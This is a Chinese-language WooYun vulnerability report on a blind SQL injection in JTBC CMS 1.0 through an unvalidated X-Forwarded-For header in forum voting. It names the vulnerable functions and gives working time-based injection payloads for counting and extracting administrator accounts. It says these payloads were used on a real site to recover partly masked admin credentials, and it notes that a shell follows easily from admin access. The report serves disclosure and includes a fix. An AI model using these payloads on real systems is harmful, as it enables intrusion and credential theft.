漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-046456
漏洞标题:JTBC(CMS) php1.0版存在SQL盲注漏洞
相关厂商:JTBC(CMS)
漏洞作者: Mody
提交时间:2013-12-19 15:55
修复时间:2014-03-19 15:56
公开时间:2014-03-19 15:56
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:10
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-12-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-03-19: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
jtbc cms php1.0版SQL注入,http头时间盲注
手工注的,注了好久,拿工具没跑出来,注入中转没成功,小菜太菜了,求乌云大牛构造
详细说明:
论坛投票时,会通过x-forward-for获取投票用户ip,但是未验证ip格式,带入sql查询,导致注入
1.
文件:/common/incfiles/function.inc.php
函数:function ii_get_client_ip();通过$_SERVER['HTTP_X_FORWARDED_FOR']获取ip,未验证格式
2.
文件:/forum/common/incfiles/module_config.inc.php
函数:function jtbc_cms_module_topic_releasedisp()
function jtbc_cms_module_topic_replydisp();
function jtbc_cms_module_topic_votedisp();
funnction jtbc_cms_module_action();
这写函数调用ii_get_client_ip();由于限制,函数jtbc_cms_module_topic_votedisp();可以成功注入。
漏洞证明:
以www.***.net为例
随便注册一个会员,发起投票,然后在点击投票的时候进行抓包,在http请头头加入
1.获取管理员账户个数
x-forward-for: ' and 1=2 union select(if(select count(*) from jtbc_admin)=1,sleep(10),null),null,null,null,null,null;-- a
sleep(10) 执行
2.获取管理员name
x-forward-for: ' and 1=2 union select(if(select ASCII(substr(a_name,1,1)) from jtbc_admin)<98,sleep(10),null),null,null,null,null,null;-- a
....
同上构造语句,获得用户名和密码如下:
w*m
w*ming**
登陆如下
jtbc后台拿shell很简单,能够直接修改php代码
修复方案:
验证ip格式
版权声明:转载请注明来源 Mody@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝